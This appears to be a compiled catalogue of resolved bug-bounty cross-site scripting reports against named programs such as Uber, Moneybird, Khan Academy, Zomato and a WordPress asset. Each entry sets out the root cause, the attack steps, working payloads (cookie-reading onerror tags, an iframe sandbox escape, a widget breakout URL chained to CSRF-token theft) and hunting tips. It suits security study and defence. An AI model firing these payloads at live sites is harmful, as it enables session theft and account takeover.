◆ Info
Specimen #118950 · veris · none · 1 votes · resolved
Program verisSurface web
Root cause
The portal fails to output-encode user-supplied fields (member name/description, group details, access rules, badges, visitor info) when rendering them in the web UI, so any of these become stored XSS. Some inputs are second-order (entered in one form, executed when viewed in another) and some arrive via a separate channel (the Android frontdesk app) and execute in the web portal.
Method
- Inject an HTML/JS payload into a member/group/visitor field (web form or the Frontdesk Android app)
- Open the page that renders that data (member list, rule book, visitor-log, badges)
- Stored payload executes
<svg onload=alert(1)>
<img src=x onerror=alert(document.cookie)>
Insight — When one app-wide sanitization gap exists, hunt every field and every render surface: the same missing-encoding root cause yields many stored XSS. Watch for (a) second-order sinks where input in form A executes in view B, and (b) cross-channel inputs (mobile app data surfacing in the web portal) that bypass web-side validation.
Real-world example
Stored XSS in object name, executes on admin management action
◆ Info
Specimen #126049 · uber · none · 1 votes · resolved
Program uberSurface web
Root cause
An application/object name is stored unescaped and rendered in the management UI; the payload fires when an admin performs a management action (delete) on the object.
Method
- Create an object (OAuth application) with an XSS payload as its name
- Add the victim admin/developer to the object, or rely on them noticing it
- When the victim views/deletes the object, the name renders and executes
"><img src=x onerror=prompt(1)>
Insight — Names of user-created objects (apps, teams, keys) rendered in admin/management panels are stored-XSS sinks that can target higher-privileged users. Delivery: get added to a shared object, or lure the admin into a management action where the name renders.
Real-world example
Reflected XSS via unquoted attribute event-handler injection in search
◆ Info
Specimen #136600 · moneybird · awarded · 1 votes · resolved
Program moneybirdSurface webChain reflected XSS -> admin session actions / add-self-as-admiTag account-takeover
Root cause
The search_query value is reflected into an HTML attribute without surrounding quotes, so an attacker can inject an event handler (onclick) that fires when the (attacker-controlled) result is clicked.
Method
- Seed a searchable record so the query returns a known result
- Reflect search_query into the unquoted attribute and inject a space + event handler
- Victim opens the crafted search URL and clicks the result -> handler fires
https://TARGET/[id]/search?search_query=test" onclick=alert(document.domain)
Insight — When reflection lands in an unquoted (or improperly quoted) attribute, you don't need < >; inject an event handler (onclick/onmouseover) with a leading space. Backend/admin search results are strong ATO pivots (add-admin, phishing).
Real-world example
Reflected XSS via outdated WordPress flashmediaelement.swf
◆ Info
Specimen #137938 · veris · none · 1 votes · resolved
Program verisSurface web
Root cause
An outdated WordPress bundles a vulnerable flashmediaelement.swf whose jsinitfunction param is passed to Flash ExternalInterface unsanitized, giving reflected XSS on any WP site older than 4.5.2.
Method
- Fingerprint WordPress and check /wp-includes/js/mediaelement/flashmediaelement.swf
- Hit it with a crafted jsinitfunction param
- Flash executes the injected JS
/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1`
Insight — Known-CVE recon: outdated WordPress ships fixed-but-present vulnerable SWFs. Probe wp-includes/js/mediaelement/flashmediaelement.swf (and similar bundled assets) on any WP target; fix is WP >= 4.5.2. Cheap, repeatable finding across the corpus.
Real-world example
Sandboxed-iframe escape: parent error handler renders iframe message properties as HTML
◆ Info
Specimen #103989 · khanacademy · none · votes · resolved
Program khanacademySurface webChain iframe-sandboxed user JS -> crafted error/postMessage -&gTag account-takeover
Root cause
A live-code sandbox runs user JS in an iframe, but the error-display component ('error buddy') lives in the trusted parent and renders properties of iframe-posted error objects (html, then text) as HTML. Throwing/posting an object with those properties injects arbitrary HTML+JS into the parent origin, escaping the sandbox.
Method
- Inside the sandboxed iframe, throw an object carrying an html property whose value is your HTML/script
- If the parent deletes the html property, make it non-deletable with Object.defineProperty(configurable:false)
- If a property filter blocks html, bypass sanitization entirely by directly postMessage-ing a crafted results/errors structure using the text property
// 1) basic: throw object with html property
throw { html: "<h1>hi</h1><script>alert(document.domain)</script>" };
// 2) survive delete of the html property
throw Object.defineProperty({}, "html", {
configurable: false,
value: "<script>console.log(location.href,'OH NO!')</script>"
});
// 3) skip the sanitizer entirely by posting the message the parent expects
parent.postMessage(JSON.stringify({
results: { errors: [{ text: "<h1>X</h1><script>console.log(location.href)</script>", row: 8 }] }
}), "*");
Insight — When code runs in a sandboxed iframe, the escape often lives in the trusted parent that consumes the iframe's postMessage/error data. Audit every property the parent reads from iframe messages and whether it is sanitized OUTSIDE the iframe before being used as HTML. Property-deletion 'fixes' can be defeated with non-configurable properties, and whitelists can be dodged by forging the exact message shape the parent trusts.
Real-world example
JS-context breakout in embeddable widget param -> CSRF-token theft via cross-origin iframe
◆ Info
Specimen #115402 · eternal · none · votes · resolved
Program eternalSurface webChain widget JS-context XSS -> read CSRF token from same-originTag account-takeover
Root cause
An embeddable widget endpoint (res_search_widget.php) reflects the language_id parameter inside a JavaScript string/object literal without escaping, letting the attacker close the literal and run JS in the widget's origin. Because the widget is designed to be iframed on third-party sites, an attacker page can load it and execute in the target origin using the victim's session.
Method
- Find a parameter reflected inside inline JS (object/string literal) in a widget/embed endpoint
- Break out of the literal: close brace/paren/quote, then your JS
- Host an attacker page that iframes the widget URL with the payload; when a logged-in victim opens it, JS runs in the widget origin
- From inside the origin, read the homepage to steal the CSRF token, then perform authenticated state-changing actions
# JS-literal breakout in language_id
"}');alert(document.domain);console.log('
# full URL
https://www.zomato.com/widgets/res_search_widget.php?city_id=276&language_id=%22%7D%27)%3Balert(document.domain)%3Bconsole.log(%27&theme=blue&hideCitySearch=on&hideResSearch=on&sort=popularity
# delivery
<iframe src="https://www.zomato.com/widgets/res_search_widget.php?...&language_id=<payload>"></iframe>
Insight — Embeddable/widget endpoints are prime XSS sinks because reflected params frequently land in inline JS and the endpoints are meant to be iframed cross-site (so no clickjacking/X-Frame-Options barrier). HttpOnly cookies don't save you: XSS in-origin can fetch the CSRF token from another same-origin page and perform actions as the user (worm-able via the same lure).
Real-world example
Static file server: Content-Type text/html on served files + decodeURI path HTML injection
◆ Info
Specimen #606526 · nodejs-ecosystem · none · votes · resolved
Program nodejs-ecosystemSurface webChain file placement -> served as text/html -> stored XSS; oTag file-upload
Root cause
A Node static-file server (tianma-static) returns served files without a safe Content-Type, so an uploaded/placed .html file is served as text/html and executes as stored XSS. Separately, it echoes req.pathname built with decodeURI (not decodeURIComponent), so an encoded %2f produces a mismatched, attacker-controlled path that is reflected as HTML.
Method
- If arbitrary file placement/upload is possible, drop an .html file containing script; request it — served as text/html -> stored XSS
- For reflected injection, request a path containing %2f so decodeURI leaves the raw path but the server prints a manipulated req.pathname into HTML
- Combine: reflected HTML injection loads the uploaded script via <script src=/[filename]> to bypass browser reflected-XSS filters
# stored: any served .html executes because Content-Type is text/html
# reflected HTML injection via decodeURI/%2f, pulling in uploaded script
GET /%2f<script src='/[uploaded_filename]'></script>
Insight — Two recurring static-server bugs: (1) serving user-controllable files without forcing a safe/attachment Content-Type turns any .html/.svg into stored XSS; (2) using decodeURI instead of decodeURIComponent (or reflecting the raw request path) yields path-based HTML injection. Fix pattern: set Content-Type explicitly + Content-Disposition, and decodeURIComponent / reject traversal.
Real-world example
XSS-filter bypass with a malformed, unclosed <script> tag (IE DOM XSS)
◆ Info
Specimen #142078 · gm · none · 2 votes · resolved
Program gmSurface webTag cors
Root cause
A search page passed GET params into the DOM without encoding on IE; a naive server/browser XSS filter matched only well-formed <script>...</script>, so an unclosed tag with an extra attribute slipped through.
Method
- Find a search reflection that only misbehaves in IE (legacy non-encoding of GET params)
- Use a <script src=... > style tag with an extra attribute and no closing tag to evade the regex filter
Insight — XSS filters/regexes often key on a complete <script>...</script> or specific attribute order. A malformed tag - extra bogus attribute, no closing tag - can defeat the signature while still parsing/executing, especially in legacy IE DOM sinks. (Technique from program summary; no full payload disclosed.)